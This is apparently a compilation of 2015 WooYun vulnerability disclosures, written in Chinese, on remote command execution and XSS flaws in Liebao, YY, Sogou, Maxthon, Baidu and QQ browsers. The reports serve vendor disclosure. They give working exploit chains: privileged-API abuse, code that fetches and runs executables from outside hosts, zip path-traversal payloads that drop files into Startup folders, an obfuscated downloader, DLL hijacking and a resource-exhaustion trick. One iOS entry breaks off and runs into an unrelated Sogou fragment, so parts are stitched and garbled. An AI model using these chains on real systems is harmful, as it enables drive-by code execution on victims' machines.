文件里的版本字段有关,这里我们构造的是"version": "20.10" 看看chrome下的行为:皮肤安装也会有交互提示。 3. 静默安装插件。 此问题已有报告,但未被重视,所以新版本也并未修复。见( WooYun: 猎豹浏览器远程代码执行 ) 这次我们安装的是IE tab插件。 4. 打开任意协议下的URL。
external.JumpToNewURL(…)
函数可用于打开任意协议下的URL,这里我们用来打开 IE tab这个扩展的html文件。

chrome-extension://hehijbfgiekmjfkfjpbkbammjbdenadd/u.htm#url=

比如XP下是:

"C:\\Documents and Settings\\用户名\\Local Settings\\Application Data\\liebao\\User Data\\Default\\Extensions\\";

缺点是:需要知道用户名,这里假定目标用户使用默认的
administrator
。 5. 最终,通过IE tab 打开本地域下的xss.html,IE内核下,
本地域
执行JS可以通过xmlhttp读取本地文件。 当然也可以读取远程内容,但由于IE tab 与chrome在cookies数据上并不共享,危害相对较小。
漏洞证明
1. 攻击目标用户是
administrator
的情况下。 直接访问:http://xsst.sinaapp.com/poc/liebao_poc.htm (非定向攻击) 2. 如果目标用户用户名是 xxx,则可发送:http://xsst.sinaapp.com/poc/liebao_poc.htm?xxx 让目标进行访问。 (定向攻击,需先通过一定手段获取用户名)

缺陷编号:wooyun-2015-0101477 漏洞标题:YY浏览器设计缺陷导致可在任意域构造xss漏洞 相关厂商:广州多玩 漏洞作者: 梧桐雨 提交时间:2015-03-15 14:36 修复时间:2015-06-15 14:30 公开时间:2015-06-15 14:30 漏洞类型:远程代码执行


漏洞说明
YY浏览器号称双核极速,去广告安全。但是结合一些细节小问题可以导致任意域xss。 0x01: 在对yy浏览器进行常规的安全测试的过程中,发现有一个内置插件(该插件是官网安装之后默认安装的) 也就是这个: 在影视搜索的地方,我发现历史记录会带入到
local storage
中: 0x02: 下一次搜索的时候,点击搜索框,就会触发这个跨站漏洞: 经过测试,发现这种形式能成功执行任意脚本,而img不行,会提示un-safe 不安全的脚本,没关系,我们就用 来执行恶意脚本。 0x03: 利用
location.href
来确定地址: 这个是点开的地址,真正触发的地址是这个: 也就是说我们构造如下地址:

chrome-extension://ffbeebainnmlcloegidjjepclkamjgol/search.html?key=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

然后让受害者点击一下视频搜索,我们的
document.domain
就会污染到本地的
local storage
0x04: 我们已经可以控制任意js写入到
local storage
里头,但是测试发现不能引入外部js,同样会提示
un-safe
脚本,只能写入到之中,这也算是你们安全考虑不周导致的。 0x05: 因为发生xss的作用域在扩展域,也就有了更高的权限:(
chrome-extension://ffbeebainnmlcloegidjjepclkamjgol
) 譬如允许通过
chrome.tabs.getAllInWindow(id,function(){console.log(arguments)})
来读取任意窗口的id。结合这些id。 通过
chrome.tabs.executeScript(id,{"code":"alert(document.cookie)"},function(){console.log(arguments)})
允许往任意窗口写入js脚本。 代码如下:
chrome.tabs.getAllInWindow(null,function(){ for(var i=0;i<=arguments
.length-1;i++){ console.log(arguments

.id) chrome.tabs.executeScript(arguments

.id,{"code":"alert(document.cookie)"},function(){console.log(res)}) } } )
剑心mm提到一个问题,插件是否随机的,我在虚拟机测试,也是这个路径,证明这个路径是可以预测的:如下图
漏洞证明
我以窃取已经打开了窗口的cookie为poc,当然,打开的窗口越多,危害就成几何形式成倍的增长。 视频地址: http://pan.baidu.com/s/1hqszRUk 密码j4uc

缺陷编号:wooyun-2015-097654 漏洞标题:猎豹浏览器远程代码执行 相关厂商:金山软件集团 漏洞作者: gainover 提交时间:2015-02-17 19:55 修复时间:2015-05-19 15:12 公开时间:2015-05-19 15:12 漏洞类型:远程代码执行

漏洞说明

1. 下载最新版本的猎豹浏览器:KSbrowser_5.2.85.9616.exe 2. 通过分析观察猎豹所实现的一些自定义函数接口(external下的一些api),我发现金山有以下api:
external.NativeInstallExtensions(
);
其中
fpmcdbknonpdbngoboglidihcbfjcaep
是猎豹浏览器市场内的应用ID 首先,只要是
liebao.cn
或者是
duba.com
下的网站,均有权限调用该函数,而且,该函数可以用来静默安装应用市场内的任意插件(也就是安装插件没有交互提示)。 3. 对于这种
静默安装
插件的api,有什么利用方法呢?我大概能想到以下几种情况: A. 自己编写一个恶意功能的插件,然后上传到应用市场(需要通过官方审核方可) B. 寻找一个具有功能缺陷,导致我们可以进一步恶意利用的插件进行静默安装。这通常又可以分为两种情况: B1. 插件页面具有XSS,但是由于现在通常插件页面均开启了CSP(content_security_policy),使得这种比较难以被利用,而且即使有XSS,要达到命令执行,也相对困难。 B2. 还有一种可以利用的场景,就是插件内包含有npapi,并且其public属性被设置为了true,这样我们只要静默安装了这个插件,任何页面就可以调用该npapi所提供的接口。只要该npapi所提供的函数存在安全缺陷,即可造成进一步的安全问题。 4. 基于以上分析,我们到猎豹应用市场来对一些插件进行筛选,我们比较关心一些字眼:“下载,启动”等。最终我们可以找到以下应用: 5. 安装了这个插件以后,我们发现插件里会带有一个dll文件,并且该plugin的public属性为true,可以被任意页面调用。 然而我们并不知道这个dll的具体用法。 6. 机智的我于是搜索了一下FSMeeting的官方网站和demo,当我打开了官方的演示站之后,没过了一会,我靠!我发现我电脑被自动安装上了 “好视通”的软件。。不禁心中窃喜,看来这个插件会有一个静默安装的功能,于是查看了一下源代码,发现了下图中的代码。 7. 不难看出,run2函数是一个下载并且执行的api,不难写出以下利用代码。

该代码可以从
x.com/testbaidu.exe
并且执行。 8. 并且从前面可知,
public为true
的插件,在哪个页面均可被调用。这样一来,命令执行的思路就有了 利用 liebao.cn/duba.com下的一个xss来调用
external.NativeInstallExtensions(
);
安装 好视通的浏览器插件 然后自己创建一个htm页面,调用好视通的插件函数下载远程的exe并执行。 --------------------------------------------------------------------- XSS如下:

http://tuan.duba.com/category/?city_code=\u0022\u003e\u003cimg%20src=1%20onerror=alert\u00281\u0029\u003e&cateid=4&f=qrj2015

利用XSS调用以下安装好视通插件,安装完后跳转到
liebao1.htm

external.NativeInstallExtensions(
); setTimeout(function(){ location.href="http://xsst.sinaapp.com/poc/liebao1.htm"; },1500);
http://xsst.sinaapp.com/poc/liebao1.htm 的代码如下,下载并执行
calc.exe


漏洞证明

1. win7 (开启或关闭UAC均可)下访问 http://xsst.sinaapp.com/poc/liebao2.htm 该页面会跳转到XSS并安装“好视通” 2. 安装后,过1.5秒跳转至 http://xsst.sinaapp.com/poc/liebao1.htm,下载并执行命令,如下图所示:
修复方案: 1. 对静默安装函数进行修改,采取一些交互提示。 2. 对应用市场中含有npapi的应用进行更加严格的审查。

缺陷编号:wooyun-2015-097380 漏洞标题:搜狗浏览器远程命令执行之五 相关厂商:搜狗 漏洞作者: gainover 提交时间:2015-02-15 14:08 修复时间:2015-05-16 15:14 公开时间:2015-05-16 15:14 漏洞类型:远程代码执行

漏洞说明

搜狗对前面的漏洞报告进行了一定的修复,但是依然存在一些问题。 比如:
1. 修了被绕过 2. 修了没修好 3. 好像不好修,干脆不修了 4. 更新不思旧,带来新困扰
结合这些很小的脆弱点,依然可以再次实现命令执行。 新年快乐!

首先列举出一些没有被补好的问题。

1. WooYun: 搜狗浏览器远程命令执行之四 中利用了
external.extension("installExtFromSidebarBox", ...");
搜狗对此进行了修复,限制了
external.extension("installExtFromSidebarBox", ... )
只能在
se://sidebarextmanager/index.html
这个域下使用。 这个修复确实不错,但是存在以下绕过方式:
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", ....);
虽然打开的新窗口是 “空白页”,但是返回的
window.external
却具有了
se://sidebarextmanager/index.html
页面中 external的
执行权限
。 这样一来,我们又可以静默安装任何侧边栏插件。 2. WooYun: 搜狗浏览器远程命令执行之四 中的跨协议没有被修复。 即,利用链接点击的方式依然可以跳转至se-extension协议下:
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();
3. WooYun: 搜狗浏览器远程命令执行之四 中使用了
com.sogou.cxj009.PicViewer
这个插件的XSS,开发人员对此进行了修复,过滤了来自 title的数据中的(,替换成了(。 显然这种过滤方式过于随意,可以轻松绕过。 例如下文报告中用到的:

不需要用到括号,这里应该是转义 <, > ,而不是过滤 (。 因此这个XSS可以继续被利用。 4. WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 中所提到的利用
window.open
来进行跨插件调用
npapi
接口的方法依然没有被改进,因此我们可以利用
com.sogou.cxj009.PicViewer
这个插件的XSS来跨插件调用其他插件所提供的API接口 5. 插件“发送到手机”(
com.sogou.feichuan
)更新到了1.0.0.24,相比1.0.0.23,其引入了一个新的dll文件。并且该文件提供了新的api可以导致任意命令执行。


document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")

新增的dll文件
参考前面的漏洞,插件更新时,应该考量这些API被滥用的可能性,应该对这些API的参数进行一定的判断。 -----------------------------------------------

以下是漏洞报告

----------------------------------------------- 1. 首先还是需要一个sogou.com的XSS

http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};alert(1);a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3

利用该xss调用 //xsst.sinaapp.com/poc/sogou5.js

http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou5.js?'%2bMath.random();document.body.appendChild(s);};a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3

2. 使用window.open打开
se://sidebarextmanager/index.html
所返回的external对象,即可成功调用
installExtFromSidebarBox window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.movie", "1.0.0.6", "", '-1', '', '电影', "alert('OK')");
3. 根据 WooYun: 搜狗浏览器远程命令执行之四 中的方法,安装
com.sogou.cxj009.PicViewer
,安装成功后,调用//xsst.sinaapp.com/poc/sogou5.1.js进行下一步:
window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer", "1.0.0.6", "", '-1', '', '电影', "function(){location.href=\"http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou5.1.js?'%2bMath.random();document.body.appendChild(s);};a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3\";}");
4. 要进行执行命令,我们发现 最新版本的 “发送到手机”插件中新增了一个dll,

并且该dll提供了执行命令的接口,
document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")
所以我们结合 WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 提到的利用技巧,不难COPY出以下利用代码,
window.w=window.open("se-extension://ext15485894/background.html"); function load(){ if(window.w&&window.w.document.getElementById("fcEmbed")){ clearTimeout(window.xx); window.w.document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();") } }; window.xx=setInterval(function(){load();},100);
5. 最终我们可以将//xsst.sinaapp.com/poc/sogou5.1.js修改为以下代码:
document.title=""; var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#";document.body.appendChild(f);f.click();
6. 最终构造好的利用代码: http://xsst.sinaapp.com/poc/sogou_combine.htm

漏洞证明

效果如下:

缺陷编号:wooyun-2015-097165 漏洞标题:傲游浏览器修复不当导致依然可远程命令执行 相关厂商:傲游 漏洞作者: 路人甲 提交时间:2015-02-13 18:56 修复时间:2015-05-16 12:58 公开时间:2015-05-16 12:58 漏洞类型:远程代码执行

漏洞说明

远看像修了,近看还没修, 也许是修了,只是没修好。 希望傲游新年来能在大家的共同努力下把安全做的越来越好。 1. 距离 这个 WooYun: 傲游浏览器远程命令执行漏洞二 漏洞,傲游已经更新了好几个版本。目前该漏洞已经被公开了。但是对于这个报告中所报告的问题,小问题确实是修了,但是最为关键的“核心”点,却依然没有得到修复。 A. 修复了报告中的“非关键点”,一个傲游域下的XSS。即:http://sso.maxthon.cn/quit.php这个页面被删除。 B. 禁用了 external.mxCall('
InstallSkin
', "http://xsst.sinaapp.com/test/mx.bat"), 这样使得我们无法向临时目录写入
mx.bat
2. 然后上面这些点并非最致命的点, rss reader里可以导致执行命令的XSS却根本没有被修。 原漏洞中的 http://xsst.sinaapp.com/test/mxpoc.xml 直接打开,依然可以打开计算器。 傲游对rss reader里的富文本过滤正则没有做任何的改动。 3. 虽然傲游修复了 原漏洞的 XSS 和
external.mxCall('InstallSkin', ..);
但这两个点实际上并不是最关键的。所以我们很容易再次执行任意命令。 ------------------------------------------------------------ 4. 其实这个漏洞,连傲游域下的XSS都不需要。 在
mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://xsst.sinaapp.com/test/mxpoc.xml
这个域下,我们只需要嵌入一个iframe,iframe的src为 http://www.maxthon.cn/,然后通过
iframe.contentWindow.external
即可有权限调用 mxCall函数。 而
external.mxCall('InstallSkin', ..);
虽然被禁止了,但是
external.mxCall("InstallApp", "http://xsst.sinaapp.com/test/mx.bat");
依然还是可以使用的。。。,治标不治本。 5. 所以我们很容易重新写出下面的利用代码。
var x=document.createElement("iframe"); x.src="http://www.maxthon.cn"; x.onload=function(){ x.contentWindow.external.mxCall("InstallApp", "http://xsst.sinaapp.com/test/mx.bat"); setTimeout(function(){ var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch(s.contentWindow.maxthon.system.Environment.getFolderPath("Mx3data")+"Temp/mx.bat","")};document.body.appendChild(s); },1500); }; document.body.appendChild(x);
6. 接着同原漏洞一样,利用 rss reader 的XSS即可。
wooyun.org 最新提交漏洞 http://www.wooyun.org 5 wooyun.org zh-cn www.wooyun.org webmaster@wooyun.org WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 <!<br />]> ]> Wed, 05 Nov 2014 15:38:18 +0800 路人甲 WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞

漏洞证明

傲游最新版本: Version: 4.4.4.2000 打开 http://appmaker.sinaapp.com/poc/cn.maxthon/mxpoc_new.xml 可以看到我们的批处理被下载并执行。
修复方案: 1. 可以看到,这次利用里都不需要maxthon.cn的XSS了,所以光修傲游域下的XSS是没用的。 2. 与其禁用external.mxCall('InstallSkin', ..); 还不如,对 external.mxCall('InstallSkin', ..);中皮肤或者插件的路径进行严格的URL判断。不仅安全得多,也容易得多。 3. 一定要修复rss reader这个XSS才行啊。 4. 修复要修要害,不要修无关痛痒的位置啊。 5. 希望傲游新年来能在大家的共同努力下把安全做的越来越好。

缺陷编号:wooyun-2015-096413 漏洞标题:百度浏览器远程命令执行七 相关厂商:百度 漏洞作者: gainover 提交时间:2015-02-09 10:48 修复时间:2015-05-10 12:52 公开时间:2015-05-10 12:52 漏洞类型:远程代码执行

漏洞说明

嗯,还是有点意思。wooyun-2015-095664 中所述问题的又一案例。 1. 本来是在 bbs.liulanqi.baidu.com下找到一个DOM XSS,但是发现百度这次把bbs.liulanqi.baidu.com从特权域中去掉了。T T。 2. 转战其它域,发现这么一个URL:http://chajian.baidu.com/app-res.html 在这个页面中,存在一些缺陷,允许来自外部的
postMessage
,这个页面够不成XSS,但是这个postMessage可以调用到一些特权的API,如:
window.external.StartRequest(1264, "extension_install", ....., "")
3. 上面的缺陷不具体分析了,我们可以自己编写以下页面代码:
var f=document.createElement("iframe");f.src="http://chajian.baidu.com/app-res.html"; f.onload=function(){ f.contentWindow.postMessage('{"type":"install","data":{"id":"fpdnjdlbdmifoocedhkighhlbchbiikl","url":"http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx","ext_url":"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip"}}','*'); }; document.body.appendChild(f);
其中,url是插件地址,
ext_url
是插件的LOGO压缩包(ZIP格式) (测试地址:http://xsst.sinaapp.com/poc/bd7.htm) 4. 看样子我们可以实现安装一个插件,但是插件具有以下的交互提示: 5. 假设用户不会点击
【安装】
按钮,那么对于用户来说并没有任何影响。 ----------------------------------------------------------------------- !!!那么,这个点是不是就没用了呢? ----------------------------------------------------------------------- 6. 我们可以注意到ext_url对应了一个http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip这么一个压缩包,下载压缩包后,发现里面对应着插件的LOGO图片。当我们执行上面的代码(http://xsst.sinaapp.com/poc/bd7.htm)时,会发现本地会多出一个目录
C:\Users\gainover\AppData\Roaming\Baidu\baidubrowser\user_data\default\chrome_profile\Imgs\fpdnjdlbdmifoocedhkighhlbchbiikl
(WIN7下的路径),该目录下会多出2个图片,这2个图片,正是 http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip 里释放出来的。 7. 这说明,百度浏览器在执行
externsion_install
时,(即使用户不点击安装按钮),浏览器也会下载LOGO图片压缩包并解压到本地目录中。 因为这里存在一个解压缩操作,如果解压缩的函数存在问题,就会出现( WooYun: QQ浏览器远程任意命令执行漏洞(附有分析和利用) )中相类似的问题。 8. 于是测试如下,下载http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip文件,然后
使用7zip修改
, 拖入一个
calc.exe
到压缩包中,然后重命名为
../../../../../../../../../../../calc.exe
9. 将修改后的压缩包放到服务器上 http://xsst.sinaapp.com/poc/bd2.zip 10. 然后将之前利用代码里的ext_url改为 http://xsst.sinaapp.com/poc/bd2.zip 见:http://xsst.sinaapp.com/poc/bd7_2.htm 运行后,弹出安装框,不用做任何操作,可以看到C盘根目录下写入了calc.exe (
Win7 需关闭UAC,或浏览器以管理员身份运行
) 11. 利用这种方式,我们可以把exe写入到
启动目录
。 同上,拖入calc.exe到压缩包,然后重命名为:
../../../../../../../../../../../../../../../../../../Documents and Settings/All Users/「开始」菜单/程序/启动/calc.exe
XP下,百度浏览器访问http://xsst.sinaapp.com/poc/bd7_3.htm

漏洞证明

写入效果:
修复方案: 1. 修复http://chajian.baidu.com/app-res.html中的缺陷,判断消息的origin 2. 修复安装插件流程中,对插件LOGO图压缩包解压缩的实现缺陷。

缺陷编号:wooyun-2015-095664 漏洞标题:QQ浏览器远程任意命令执行漏洞(附有分析和利用) 相关厂商:腾讯 漏洞作者: gainover 提交时间:2015-02-05 14:27 修复时间:2015-05-07 18:00 公开时间:2015-05-07 18:00 漏洞类型:远程代码执行

漏洞说明

嗯,有点意思! 1. 对于QQ浏览器来说,只要是
qq.com
的域名下的网页,就有权限调用
external
下的一些API接口,比如:
安装插件:window.external.extension.installExtension 卸载插件:window.external.getExtension("").uninstallExtension
2. 对于
window.external.extension.installExtension
,其用法如下:
window.external.extension.installExtension("插件GUID","插件地址","插件版本",回调函数);
一个实例:
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://xxxx.qq.com/AAAAAAAA.qrx","8.0.1.19",function(){ alert("install ok"); });
其中,插件地址要求是
qq.com域下
的地址方可。 3. 看样子我们似乎可以安装任意插件,然而,QQ的浏览器插件实现,对插件内所调用的JS等含有功能代码的文件均有校验机制,这使得我们无法在插件内打包恶意的JS代码。 4. 然而,QQ浏览器插件(qrx)本身就是一个压缩包,远程安装QQ插件的时候,QQ浏览器会首先解压这个压缩包,然后才是上一步的校验。校验这一步没什么问题,那解压缩这步会不会有问题呢? 5. 于是,我们下载一个QQ浏览器插件,采用7zip打开, 拖入一个calc.exe到压缩包中, 接着对calc.exe进行重命名:
../../../../../../../../../calc.exe
相当于我们在压缩包里打包了一个这样路径的文件:
C:\Users\用户名\AppData\Roaming\Tencent\QQBrowser\Extensions8\{38D6C77F-66BE-413E-996C-85372DB1A510}\8.0.0.2\../../../../../../../../../calc.exe
6. 我们将改造后的
1.qrx
文件和
index.php
放到我们本地测试服务器(x.com)的根目录下。

/1.qrx /index.php

其中index.php代码为:

然后

我们为了绕过window.external.extension.installExtension中插件URL的域名限制,我们在乌云以前的漏洞里找到了一个302跳转: http://tixing.qq.com/cgi-bin/jump?url=http://xxx.com/ 这个跳转本身的url参数依然存在域名判断限制,但是可以被我们可以轻松的用以下方式绕过。 http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/ 这也是我们最终构造好的插件下载地址: http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/ --> 跳转到: http://x.com?qq.com/ --> 相当于 http://x.com/index.php --> 读取1.qrx的内容返回

7. 我们随便打开一个QQ的网站,比如 qzs.qq.com/123 (网页不存在没关系) 然后F12打开脚本控制台,运行下面的测试代码(会向C盘根目录写入一个calc.exe):
(function(){ var isWin7=/NT\s+6/.test(navigator.userAgent); window.external.getExtension("").uninstallExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}",function(){ if(isWin7){ window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){ alert("demo win7"); }); }else{ //xp window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){ alert("demo xp"); }); } }); })();
效果如下图所示: 可以看到(Win 7 下需
关闭UAC
), 调用安装插件这个API后,确实在C盘根目录下写入了一个
calc.exe
文件。 XP下也一样是可以的。 8. 最后,我们要做的事情,就是找一个QQ域下的XSS, 这里我就不找了。因为这个漏洞的重点已经不在找XSS上了。。如果一定要我找一个补上,请留言。

漏洞证明

1. win7下,关闭UAC的情况下,可以写入启动目录, calc.exe 重命名为
../../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/calc.exe
即可。 但是XP下,启动目录有中文,这个漏洞,在解压时,无法正常处理中文路径。 2. 但是xp下,可以结合其它小问题来实现命令执行,比如dll劫持。 如果QQ浏览器默认路径安装, 自己创建一个dll,重命名为
../../../../../../../../../Program Files/Tencent/QQBrowser/setupapi.dll
用户访问恶意构造网页,安装恶意插件包,即会在QQ浏览器所在目录释放一个setupapi.dll,下次浏览器启动时,被劫持,如下图:
修复方案: 修复插件包安装相关代码。 修复其它一些小问题。

缺陷编号:wooyun-2015-094814 漏洞标题:傲游浏览器远程命令执行漏洞 相关厂商:傲游 漏洞作者: Lyleaks 提交时间:2015-01-31 01:36 修复时间:2015-05-04 15:20 公开时间:2015-05-04 15:20 漏洞类型:远程代码执行

漏洞说明

前几天傲游在 WooYun: 傲游浏览器远程命令执行漏洞(Web端+客户端配合利用技巧) 更新状态说设置中心的漏洞修复了,看了下发现傲游浏览器已经更新到了
4.4.4.900
。 下载最新版,发现设置中心添加主页的XSS被修复了,但是找了一下又发现了两处XSS。 第1处。在设置中心有一个网址直达的功能,添加网址别名的地方没有对别名进行过滤。 第2处。这一处比较隐蔽,在添加一键通的地方可选快捷键只有F1-F12,显然没办法直接更改快捷键。 但是测试发现可以通过傲游提供的api来修改。 试着把F1修改为
">
,发现快捷键果然没有过滤。 要更改浏览器的设置,可以用
maxthon.browser.config.ConfigManager
这个api,而*.maxthon.cn可以调用这个api,所以只要找一个*.maxthon.cn的XSS就行了,这并不难。 因为
mx://res/notification/
可以调用
maxthon.program

mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm
可以调用maxthon.io,用 WooYun: 傲游浏览器远程命令执行漏洞(Web端+客户端配合利用技巧) 提到的方法,构造如下POC
b =
; c = window.JSON.stringify(b); maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.targeturl.shortcuts",c); maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.startpage", "mx://res/options/index.htm");
然后使用*.maxthon.cn的XSS调用上面的POC。

http://tuan.maxthon.cn/en_US/search/all/Ij48c2NyaXB0IHNyYz1odHRwOi8vdXRmNy5tbC90L21heHRob24yLmpzPjwvc2NyaXB0Pg==

另外再说一下,傲游浏览器有一个设计缺陷,就是外围特权网站的范围太广,即使本地特权域没有XSS,一个 特权网站的XSS就可以做很多事。例如
maxthon.browser.config.ConfigManager
这个api就可以用来更改浏览器的所有配置,比如添加代理服务器等。

漏洞证明

访问下面的URL之后,下一次启动浏览器时会在D盘写入一个test.bat并运行。

http://tuan.maxthon.cn/en_US/search/all/Ij48c2NyaXB0IHNyYz1odHRwOi8vdXRmNy5tbC90L21heHRob24yLmpzPjwvc2NyaXB0Pg==

测试版本

缺陷编号:wooyun-2015-095651 漏洞标题:搜狗浏览器扩展可导致远程拒绝服务 相关厂商:搜狗 漏洞作者: MITM 提交时间:2015-02-04 18:13 修复时间:2015-05-08 21:38 公开时间:2015-05-08 21:38 漏洞类型:设计错误/逻辑缺陷

漏洞说明

搜狗浏览器扩展可导致远程拒绝服务。版本:5.2.5.15900 这有点恶作剧的意思。利用的是搜狗浏览器自带的截图扩展提供的API,可打开画图软件(mspaint.exe)。如果循环打开上百个
mspaint.exe
,就能耗尽系统资源,达到让操作系统拒绝服务的目的。

漏洞证明

在线演示地址:https://nextprime.drivehq.com/sogou_mspaint.html(这个象征性打开10个mspaint) 打开100个之后的效果就是,只能重启: crashed.png
修复方案: 1、能不能不让任意页调用launchMSPaint()? 2、如果已经存在打开的mspaint,再次调用launchMSPaint时将mspaint置于最上,而不是再次打开。

缺陷编号:wooyun-2015-094791 漏洞标题:IOS全系统某处储存xss导致跨域命令执行(QQ、微信、浏览器、邮箱等中枪) 相关厂商:ios 漏洞作者: mango 提交时间:2015-01-30 20:54 修复时间:2015-05-05 11:38 公开时间:2015-05-05 11:38 漏洞类型:设计错误/逻辑缺陷

漏洞说明

最后一次编辑,经过测试发现早在很久以前ios版本就存在了,可能存有很多年了,可以做到跨域命令执,可获取任意用户浏览网站cookie,危害非常大。 尖刀收小伙伴了~~ 想了很久,还是提交乌云了,乌云曾经也是我学习的地方,是乌云让我成长,所以我认为不管怎样,人总要落叶归根的~ 滴水之恩应当涌泉相报~~~么么哒乌云~ 一、详细说明: 在IOS 系统中 都默认可以打开DOC文件 包括QQ 微信 浏览器等等 那么我们需要构造一个含有xss的文档 如图 在DOC文档中插入 特殊字符code
}
2.
sogou4.js
文件内容
function runCmd(){ document.title=""; if(/Windows NT 6/.test(navigator.userAgent)){ var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,112,111,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,80,114,111,103,114,97,109,68,97,116,97,92,92,77,105,99,114,111,115,111,102,116,92,92,87,105,110,100,111,119,115,92,92,83,116,97,114,116,32,77,101,110,117,92,92,80,114,111,103,114,97,109,115,92,92,83,116,97,114,116,117,112,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41,59))";document.body.appendChild(f);f.click(); }else{ var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,112,111,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,68,111,99,117,109,101,110,116,115,32,97,110,100,32,83,101,116,116,105,110,103,115,92,92,65,100,109,105,110,105,115,116,114,97,116,111,114,92,92,12300,24320,22987,12301,33756,21333,92,92,31243,24207,92,92,21551,21160,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41,59))";document.body.appendChild(f);f.click(); } } window.external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer", "1.0.6", "玩游戏", '-1', 'undefined', 'undefined', "function(){runCmd()}");
上面的代码,首先会通过
installExtFromSidebarBox
静默安装
com.sogou.cxj009.PicViewer
插件。接着在回调函数里调用 runCmd 函数 3.
runCmd
函数中, 首先将当前页面的
document.title
设置为XSS代码。XSS代码长度有限制,所以采用了
eval(URL..
的方式 。 接着利用前面说到的绕过技巧,跳转到插件的URL上,由于插件也没存在XSS,会执行我们的XSS代码,即上面eval部分的代码:
sogouExplorer.runtime.getBackgroundPage().document.getElementById("picdownloader").download("http://xsst.sinaapp.com/poc/calc.exe","C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\calc.exe", function(e){});
最终效果见漏洞证明,可以看到 calc.exe 被下载到启动目录。

漏洞证明

XP下测试效果如下: win7下关闭UAC,或搜狗浏览器以管理员身份运行时也可以写入到启动目录。
